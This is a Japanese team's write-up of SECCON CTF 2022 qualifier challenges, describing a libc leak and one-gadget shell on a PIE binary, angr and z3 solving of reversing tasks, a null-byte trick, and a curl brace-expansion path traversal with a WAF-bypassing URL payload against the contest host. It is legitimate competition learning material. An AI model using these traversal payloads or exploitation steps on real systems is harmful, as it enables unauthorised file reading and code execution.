SECCON CTF 2022 Quals writeup

SECCON CTF 2022 Quals writeup

いつも通り yharima で参加.今年は人が集まって5人.
結果は 915 pts で 49th でした.国内のみでは 14位で Final に届かず….つらい….

ソース

解いた時に使ったソースはこちら. github.com

[welcome] welcome

開始前に Discord の #announcement に書いてあって,これか?と思いながら入れたら通った.

SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}

[pwnable] koncha

とりあえずいつも通り pwn 問から.パッとみた感じ BOF があるので ROP からの libc の base addr 抜いて onegadget かなーと思ったら PIE 有りだった.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

PIE 有効なのでアドレス決め打ちの ROP はできず,先にどこかのアドレスを先に leak できないと何もできない.FSB はない. そして2回の scanf のうち2回目では BOF して制御を奪わないといけなさそうであるなら,1回目で何かしらの leak が必要. ソースを読んでいるとなぜか1回目の scanf は "%[^\n]s" となっている.これ改行いれたらどうなるんだ?と思い入れてみると何かあやしいものがでてきた.

Hello! What is your name?

Nice to meet you, ����!

実際上で出てきたアドレスとは異なるが,自分の手元ではこれは 0x7f4e6aa4f2e8 だった. gdb でこのアドレスを見てみるとどうやら _exit_funcs_lock のアドレスらしい.とりあえず何かしらリークはできた. このアドレスがどこの何なのかを i proc map でみる.

$ i proc map
process 2181875
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x7f4e6a85e000     0x7f4e6a880000    0x22000        0x0 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6a880000     0x7f4e6a9f8000   0x178000    0x22000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6a9f8000     0x7f4e6aa46000    0x4e000   0x19a000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6aa46000     0x7f4e6aa4a000     0x4000   0x1e7000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6aa4a000     0x7f4e6aa4c000     0x2000   0x1eb000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6aa4c000     0x7f4e6aa52000     0x6000        0x0
      0x7f4e6aa52000     0x7f4e6aa53000     0x1000        0x0 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa53000     0x7f4e6aa54000     0x1000     0x1000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa54000     0x7f4e6aa55000     0x1000     0x2000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa55000     0x7f4e6aa56000     0x1000     0x2000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa56000     0x7f4e6aa57000     0x1000     0x3000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa57000     0x7f4e6aa58000     0x1000        0x0 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa58000     0x7f4e6aa7b000    0x23000     0x1000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa7b000     0x7f4e6aa83000     0x8000    0x24000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa84000     0x7f4e6aa85000     0x1000    0x2c000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa85000     0x7f4e6aa86000     0x1000    0x2d000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa86000     0x7f4e6aa87000     0x1000        0x0
      0x7ffd93ce6000     0x7ffd93d07000    0x21000        0x0 [stack]
      0x7ffd93d85000     0x7ffd93d88000     0x3000        0x0 [vvar]
      0x7ffd93d88000     0x7ffd93d89000     0x1000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

この状態で libc の先頭は 0x7f4e6a85e000_exit_funcs_lock0x7f4e6aa4f2e8 で差分をとると 0x1f12e8 となる. 相対位置がわかったので,リークしたアドレスから 0x1f12e8 を引けば libc の先頭アドレスとなる. あとは libc の中から条件を満たせそうな onegadget のオフセットを調べて libc の先頭アドレスに足し込めば仕込みは完了. 2回目の scanf を BOF させ RIP を奪って onegadget に飛ばせばシェルがあがる.

% python koncha.py
[+] Opening connection to koncha.seccon.games on port 9001: Done
[+] leak_data = 0x7f76aa0422e8
[+] libc_addr = 0x7f76a9e51000
[*] Switching to interactive mode
$ ls -l
total 24
-r-xr-x--- 1 root pwn 16992 Nov  3 07:45 chall
-r--r----- 1 root pwn    56 Nov  3 07:45 flag-50d05c4f3e767dfc58f5cde347c36370.txt
$ cat flag-50d05c4f3e767dfc58f5cde347c36370.txt
SECCON{I_should_have_checked_the_return_value_of_scanf}

[reversing] babycmp

angr に任せようとなったので,正解表示のアドレスと失敗表示のアドレスを ghidra で抜いてくる. 長さまで解析するのめんどうだったので適当な長さにし find に 0x12cc を avoid に 0x127d を指定して angr を実行.

$ python3 babycmp.py
WARNING | 2022-11-12 07:04:23,729 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-11-12 07:04:23,731 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 41 unconstrained bytes referenced from 0x100028 (strlen+0x0 in extern-address space (0x28))
b'SECCON{y0u_f0und_7h3_baby_flag_YaY}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

[misc] find flag

メンバーがやっていたが,フラグファイルの位置をどう特定するんだ…となって自分もみることに. /proc 周りなどはすでに調べてくれていて,その線はなさそうなようだったのでソースを読む. inputopen かあたりしかなんとかなりそうなところはない. Pyhton 2 なら input に何かできるんだけどな…と思いながら open に * とかいれれないかと思い調べてみると glob 使うしか無理そう.

しばらく悩み input に色々入れて遊んでいる時に,ふと虚無入れたらどうなるんだろうとおもって \x00 投げ込んだらフラグが降ってきた.

% perl -e 'print "\x00"' | nc find-flag.seccon.games 10042
filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}

[web] easylfi

ソースコードを読んだ感じ,以下の流れとなりそうと判断.

  • path traversal を bypass して /flag.txt を読み出す
  • SECCON がレスポンスに含まれているとブロックする WAF を bypass する

web 問はログが出ていないと割とどうしようもないので,ローカルで app.py に app.logger.info() を足して動きを観察していく. まず path traversal だが ..% が潰されているのでいきなり露頭に迷う.しばらく {name} を置換してくれるテンプレートを動かして挙動とかを確認していたら,ふと curl のパス展開で {hello.html, hello.html} みたいにやると2個とれるのか…?と思いつきやってみる.

% curl 'http://easylfi.seccon.games:3000/\{hello.html,hello.html\}'
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>

いけんじゃん!となる.なら ..{.}{.} みたいな形でバイパスできそう,というわけでやってみる.

% curl 'http://easylfi.seccon.games:3000/\{.\}\{.\}/\{.\}\{.\}/flag.txt'
Try harder%

/flag.txt の読み出しに成功したので,あとは WAF の bypass を考える.2ファイル読み込みしてテンプレートでうまく置換できないかと思うもうまくいかない.フラグの形式は SECCON{XXX} なので {} に置き換えて,それより前に { があれば置換させれる.でも { をどうやって置換するんだ…と唸っていたらメンバーの一人が以下のような発言をする.

?{=} とすると,}{ に置き換えれる(正解には --_curl_--file:///app/public/../../app/public/hello.html みたいな文字が挟まるが見づらいので省略).

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
SECCON{XXX}

=>

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }name}!</h1>
</body>
</html>
SECCON}XXX}

ただ,このままでは {name} が壊れて置換できない.なので先に {name}={' をしてから?{=}` とすると

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }!</h1>
</body>
</html>
SECCON}XXX}

となり,やっぱり { が消失してしまう.でもよく考えると ?{=} じゃなくて ?{=}{ とやると以下のようなりやりたいことが可能となる.

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }{!</h1>
</body>
</html>
SECCON}{XXX}

あとは {} で囲まれた範囲の文字を SECCON を含まないように置換すれば良い.というわけで改行まわりで色々めんどくさかったが以下で通った. http://easylfi.seccon.games:3000//%7B.%7D%7B.%7D/%7B.%7D%7B.%7D/%7Bapp/public/hello.html,flag.txt%7D?%7Bname%7D=%7B&%7B=%7D%7B&%7B!%3C/h1%3E%0A%3C/body%3E%0A%3C/html%3E%0A--_curl_--file:///app/public/../../flag.txt%0ASECCON%7D=SECC0N

これをブラウザで開くと

--_curl_--file:///app/public/../../app/public/hello.html

Hello, }SECC0N{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser} 

となり,フラグは SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser} となる(O0 に置き換えてるので最後に読み替える).

[reversing] eguite

WIndows と ELF バイナリの両方あって親切.自分の UbuntuGUI ないので Parallels 上の Windows でひとまず動かしてみると,どうもフラグを入れて正解かを判定するみたい. ghidra で開いてみるもでかすぎてこれはしんどいなーとなったので,ひとまず Windows 上で x64dbg にかけて動的な解析をする. 入力のチェックをしている場所をさがすのに,エラーとなる文字で検索するとそれっぽそうなところがみつかった. 適当な長さの文字列をいれているとどうやら invalid license になったので長さチェックをしていそう,ということでそのあたりを追うと以下の A8BA20 でチェックしていた.

43文字であることがわかったので適当に SECCON{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIII} を入れて動かしていく. するとなんか定期的に - とフラグ内の文字が比較されて invalid license を出すので順次 - に入れ替えていくと SECCON{AAAABBBBCCCC-DDDEEE-FFFFGG-GHHHHIII} というようなシリアルみたいな形式であることがわかった.

どうやら4つに分割されてそれぞれを足したりして特定の値になるかチェックしているらしい.ここまできたらアドレスがわかっているので ghidra で追ってみると以下の部分があった.

        if ((byte *)((long)puVar3 + (long)puVar9) != (byte *)0x8b228bf35f6a) {
          return false;
        }
        if ((byte *)((long)puVar7 + (long)puVar9) != (byte *)0xe78241) {
          return false;
        }
        if ((byte *)((long)input + (long)puVar7) == (byte *)0xfa4c1a9f) {
          if ((byte *)((long)puVar3 + (long)input) == (byte *)0x8b238557f7c8) {
            return ((ulong)puVar7 ^ (ulong)puVar9 ^ (ulong)input) == 0xf9686f4d;
          }
          return false;
        }
        return false;
      }

ただ. puVar がそれぞれどの部分を指しているかいまいちわからなかったので,引き続き動かしながら当てはめていくと SECCON{8b228b0bdd29-e78241-FFFFGG-fa4c1a9f} までたどり着いた. ただ, FFFFGG の部分がいままで 000000 として扱われていて最後が成立しなくなった.ghidra のコードから結局は以下を解けば良いことがわかった.

1kome + 2kome = 0x8b228bf35f6a
3kome + 2kome = 0xe78241
4kome + 3kome = 0xfa4c1a9f
1kome + 4kome = 0x8b238557f7c8
3kome ^ 2kome ^ 4kome = 0xf9686f4d

xor とか自分で解ける気せんし…となり z3 に投げる. z3 で xor とりたい場合は Int はだめで BitVec で定義しないとだめらしい.

% python3 eguite.py
[c = 9242415,
 b = 5929746,
 d = 4190049136,
 a = 152980487201880]

それぞれ a, b, c, d がでたので 16進数に置き換えて SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370} を入れてみると通った.なんかとても遠回りをした気がした….

まとめ

今回自分は結構頑張った気がします.スプラ3のフェスは犠牲になったのだ…. 暗号はマジでわからんので,メンバーに完全に任せていました.

正直 pwn はもうちょい解けないとだめだし,解けた問題に関しても時間をかけすぎている気がするという反省点が多かったです. メンバーからのヒントとかで解けた問題もあったところは良かった.逆に他メンバーのフォローできなかったところはだめだった.

結果はほんとに悔しい.しばらくオンサイト決勝がなくて久々だったので国内決勝に行きたかった…. :cry: